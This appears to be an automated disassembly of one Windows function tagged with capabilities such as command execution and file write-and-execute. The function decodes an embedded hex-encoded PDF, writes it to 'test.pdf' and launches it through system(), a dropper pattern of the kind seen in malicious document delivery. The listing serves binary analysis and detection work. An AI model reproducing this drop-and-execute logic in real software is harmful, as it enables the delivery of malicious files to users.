Function at 0x140011267
Capabilities:
Execute command
Write and execute a file
Write file on windows

Disassembly:
jmp 0x1400159c0
push rbp
push rsi
push rdi
mov eax, 0x2d70
call fcn.1400110af
sub rsp, rax
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0x9d4
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x140021008]
xor rax, rbp
mov qword [rbp + 0x2d48], rax
lea rcx, [0x1400260f3]
call fcn.14001136b
mov qword [rbp + 8], 0
mov dword [rbp + 0x24], 0
mov dword [rbp + 0x44], 0
lea rax, [rbp + 0x70]
lea rcx, str.255044462D312E340A25E2E3CFD30A332030206F626A0A3C3C2F4465636F64655061726D733C3C2F436F6C6F727320312F507265646963746F722031352F42697473506572436F6D706F6E656E7420312F436F6C756D6E73203230303E3E2F547970652F584F626A6563742F436F6C6F7253706163652F446576696365477261792F537562747970652F496D6167652F42697473506572436F6D706F6E656E7420312F5769647468203230302F4C656E677468203439322F486569676874203230302F46696C7465722F466C6174654465636F64653E3E73747265616D0A78DAED98C16EC430084491FC5B48FC3A12BF6589CEC0A6ED1E7A8343AB26BB4AE27788C1E3815DC99F0EF927BF97B8C889AB22CA534F0D2C90C027F28A9E2BE7E28C1A9B277E22C2316A9773391C582318B996806A8B0483AE86EC22D0DC22CCA823A18959382F6FB91E23A590EFC7BB76C6088F6B6E78AB2B94186F7B618EB8F9A97994D881A0FEB340B05657290F0C438B56D12E106A44A401F7588D2F10EFD828415E4B97B140207024554A818C19B2CF0D823DCB07EAAFBF463C4F9C8089EC55C312E66BE56649A9BD9C0FB9C4125E5AD2028189B354304C613A614D9CC538B9AC47F4F1AC10234B97F304E9C44BF9660CD0FC2CEE06E1F66D954795C1AF0A384BA22D424B81E57DF99AC12C61E9A37F1B3389499CB6C279C21B7C28F8527F3E4E314D9849960AC8DE681CF9398349C2E0B28DD62A60F40EB141FCD5CE71BC6FD5364807C88D4CDD9F9ACA0ED13259D60AB18A3B16081BBBE4338B7A99AC3F4E3E4B8C67EDA67C1AAF5820943C3B07C60B3F1295A7020E93A41DB1518D36BF2A18F3C47B0777472CF40BD1B340785435E2CA69A5F433D249C276E1762ECBCDCF57A4A3A43AFCABFAD26015C1D8202D7990EA809851CB25D2E93CB7FB2D84BD4594D2E0A2951B7D8B7490B4C932BCFE55799E8E6B96547BCAA7BE716AD216C8FF7F357F8C7C00CDF230B40A656E6473747265616D0A656E646F626A0A362030206F626A0A3C3C2F4C656E677468203935392F46696C7465722F466C6174654465636F64653E3E73747265616D0A789CC5964D68134114C747E8692FDA436F3D3CC5430A4D3ABB9BDD2450A44855E8A9C51C129A82A8F8511A4C25A0070F3D28E8A1E0A1058F1E2B245262C42809A48575B7504591F154C1438FEDA1600F420FBE37B3C96E6A537BA89A909D97ECCC7BFFF77B6F6633ABE9704F336D88A76216E435CB4A297346BBACCD6A1CC6F0332D2771B8246F27B98113710919346D429B8504077AE360710BEC9405D7F230743B7F93C3E81D98A039DAF9743B50FA3A9AB1A40D51DD545F872EEA9082F40D2D525FF4FAD79F31F83FEF81F4B41661BA1AFE69E472BEC4EA8BB594D757FFB132FC999384A8A2C48910DA401FC90EE14B8B430BA061F01816E400A0AF98D753EE75B65737CAE3EEE9D22937C3A0F4BDBA23B2E57106EE2391F57ABEF63158DD5CDD586B3ADB0CD69A1E7EAF9F64208A5EBFF309C53191CB31F00AB511A9CB8FC695867650AE7E492662960ED13857420CD00D528297BB1A8FC5B1998E4114E9E0E4919A33AA42CA808669A11A3F7A38E6BE2482C56A859CAFC7D1511CA206EF84C8265737C413AC93C138D35992C5A44DD7145EA7709C24C7E8BE9F593827C5ECAF4936D875C520CDC48CA6244F3FAC0C6A1A462C11DA1AFB58AD97D1432EB2D65BDD91E8F6586E0023C4D17794D918C9C631C94CB44CD543CA5FBB567E66A65F95082818AA7241E658351EAA9A492FA288F9E95E0115BC7BE19DC0D81D2809985A86BBC72D2AD895059EBBF12177559F6F89AE2F626591672DC57377D1618225BC028E86C8AB12A36D8A3C75DE6BFEE60183DFDAA518B48B9B916926FDEAF3560A915617B9A3AA8F44A6B2407DE46C53B775F61383EA4EA8D19B2591A7655E9FB84523E5EA0ED7E816DEAF6CB298DA06FC38B11A126B906077FD8762DFCF0A7DBA458119B333FE0F67DC22415599E406DC62B7FA74017B40D982521D427D242C0EA12E55BFFB77FE365AF3C8685BADA1CFCBB6380C74E0EEA8FDDDEEE92E60FFC06F342C4D645E729CDD2332CE56B0D7DEA287129E2B22533B4BEB4A8DF7CBCE27B244B1F253F92109A582B7479E3B588794886CF31BC6C936E6DE2DD1DEA0D8AF5873C5AF94144686B355BBE2159A25F4B88C4711B813955DF729416466E3A11C0D52872BD15E1F5CD125FEC74ED579F0370B1E9705A71A94373E668F744CA99251A22DA862F4FD82CCB23CB35EC503E0BE7F308CA8DA93679F07020FA5926C6762064AE3E147A06DDB0952CAA043D71111D834C13E9C4163EE63F6B79CFD6719B0E17D4FA9839F51E7643676A02A782AAAA07821D1E96BDA642438EDB11776BF6C4970CBCF1B739FB922DB2234951E0B2DF49D5F48E37FC45F5893279C0A656E6473747265616D0A656E646F626A0A322030206F626A0A3C3C2F506172656E742037203020522F436F6E74656E74732036203020522F547970652F506167652F5265736F75726365733C3C2F584F626A6563743C3C2F696D67302033203020523E3E2F50726F63536574205B2F504446202F54657874202F496D61676542202F496D61676543202F496D616765495D2F466F6E743C3C2F46312031203020522F46322034203020522F46332035203020523E3E3E3E2F4D65646961426F785B30203020353935203834325D3E3E0A656E646F626A0A31302030206F626A0A3C3C2F4E657874203131203020522F506172656E742039203020522F446573745B32203020522F46697448203637395D2F5469746C6528FEFFC81C0031C870005C28BAA9C801005C29005C28BAA9C801005C29
mov rdi, rax
mov rsi, rcx
mov ecx, 0x26a3
rep movsb byte [rdi], byte [rsi]
lea r8, [0x14001e1fc]
lea rdx, str.test.pdf
lea rcx, [rbp + 8]
call qword [sym.imp.ucrtbased.dll_fopen_s]
test eax, eax
jne 0x140015cc2
mov dword [rbp + 0x2734], 0
jmp 0x140015a6d
mov eax, dword [rbp + 0x2734]
add eax, 2
mov dword [rbp + 0x2734], eax
cmp dword [rbp + 0x2734], 0x26a3
jg 0x140015ca2
movsxd rax, dword [rbp + 0x2734]
movsx eax, byte [rbp + rax + 0x70]
cmp eax, 0x41
je 0x140015ae7
movsxd rax, dword [rbp + 0x2734]
movsx eax, byte [rbp + rax + 0x70]
cmp eax, 0x42
je 0x140015ae7
movsxd rax, dword [rbp + 0x2734]
movsx eax, byte [rbp + rax + 0x70]
cmp eax, 0x43
je 0x140015ae7
movsxd rax, dword [rbp + 0x2734]
movsx eax, byte [rbp + rax + 0x70]
cmp eax, 0x44
je 0x140015ae7
movsxd rax, dword [rbp + 0x2734]
movsx eax, byte [rbp + rax + 0x70]
cmp eax, 0x45
je 0x140015ae7
movsxd rax, dword [rbp + 0x2734]
movsx eax, byte [rbp + rax + 0x70]
cmp eax, 0x46
jne 0x140015bb8
mov eax, dword [rbp + 0x2734]
inc eax
cdqe
movsx eax, byte [rbp + rax + 0x70]
cmp eax, 0x41
je 0x140015b5f
mov eax, dword [rbp + 0x2734]
inc eax
cdqe
movsx eax, byte [rbp + rax + 0x70]
cmp eax, 0x42
je 0x140015b5f
mov eax, dword [rbp + 0x2734]
inc eax
cdqe
movsx eax, byte [rbp + rax + 0x70]
cmp eax, 0x43
je 0x140015b5f
mov eax, dword [rbp + 0x2734]
inc eax
cdqe
movsx eax, byte [rbp + rax + 0x70]
cmp eax, 0x44
je 0x140015b5f
mov eax, dword [rbp + 0x2734]
inc eax
cdqe
movsx eax, byte [rbp + rax + 0x70]
cmp eax, 0x45
je 0x140015b5f
mov eax, dword [rbp + 0x2734]
inc eax
cdqe
movsx eax, byte [rbp + rax + 0x70]
cmp eax, 0x46
jne 0x140015b8a
movsxd rax, dword [rbp + 0x2734]
movsx eax, byte [rbp + rax + 0x70]
sub eax, 0x37
shl eax, 4
mov ecx, dword [rbp + 0x2734]
inc ecx
movsxd rcx, ecx
movsx ecx, byte [rbp + rcx + 0x70]
lea eax, [rax + rcx - 0x37]
mov dword [rbp + 0x24], eax
jmp 0x140015bb3
movsxd rax, dword [rbp + 0x2734]
movsx eax, byte [rbp + rax + 0x70]
sub eax, 0x37
shl eax, 4
mov ecx, dword [rbp + 0x2734]
inc ecx
movsxd rcx, ecx
movsx ecx, byte [rbp + rcx + 0x70]
lea eax, [rax + rcx - 0x30]
mov dword [rbp + 0x24], eax
jmp 0x140015c84
mov eax, dword [rbp + 0x2734]
inc eax
cdqe
movsx eax, byte [rbp + rax + 0x70]
cmp eax, 0x41
je 0x140015c30
mov eax, dword [rbp + 0x2734]
inc eax
cdqe
movsx eax, byte [rbp + rax + 0x70]
cmp eax, 0x42
je 0x140015c30
mov eax, dword [rbp + 0x2734]
inc eax
cdqe
movsx eax, byte [rbp + rax + 0x70]
cmp eax, 0x43
je 0x140015c30
mov eax, dword [rbp + 0x2734]
inc eax
cdqe
movsx eax, byte [rbp + rax + 0x70]
cmp eax, 0x44
je 0x140015c30
mov eax, dword [rbp + 0x2734]
inc eax
cdqe
movsx eax, byte [rbp + rax + 0x70]
cmp eax, 0x45
je 0x140015c30
mov eax, dword [rbp + 0x2734]
inc eax
cdqe
movsx eax, byte [rbp + rax + 0x70]
cmp eax, 0x46
jne 0x140015c5b
movsxd rax, dword [rbp + 0x2734]
movsx eax, byte [rbp + rax + 0x70]
sub eax, 0x30
shl eax, 4
mov ecx, dword [rbp + 0x2734]
inc ecx
movsxd rcx, ecx
movsx ecx, byte [rbp + rcx + 0x70]
lea eax, [rax + rcx - 0x37]
mov dword [rbp + 0x24], eax
jmp 0x140015c84
movsxd rax, dword [rbp + 0x2734]
movsx eax, byte [rbp + rax + 0x70]
sub eax, 0x30
shl eax, 4
mov ecx, dword [rbp + 0x2734]
inc ecx
movsxd rcx, ecx
movsx ecx, byte [rbp + rcx + 0x70]
lea eax, [rax + rcx - 0x30]
mov dword [rbp + 0x24], eax
mov r9, qword [rbp + 8]
mov r8d, 1
mov edx, 1
lea rcx, [rbp + 0x24]
call qword [sym.imp.ucrtbased.dll_fwrite]
jmp 0x140015a5e
mov rcx, qword [rbp + 8]
call qword [sym.imp.ucrtbased.dll_fclose]
lea rcx, str.test.pdf
call qword [sym.imp.ucrtbased.dll_system]
call fcn.1400113e3
xor eax, eax
jmp 0x140015cc8
jmp 0x140015cc6
xor eax, eax
mov rdi, rax
lea rcx, [rbp - 0x20]
lea rdx, [0x140019cc0]
call fcn.140011302
mov rax, rdi
mov rcx, qword [rbp + 0x2d48]
xor rcx, rbp
call fcn.1400111a9
lea rsp, [rbp + 0x2d50]
pop rdi
pop rsi
pop rbp
ret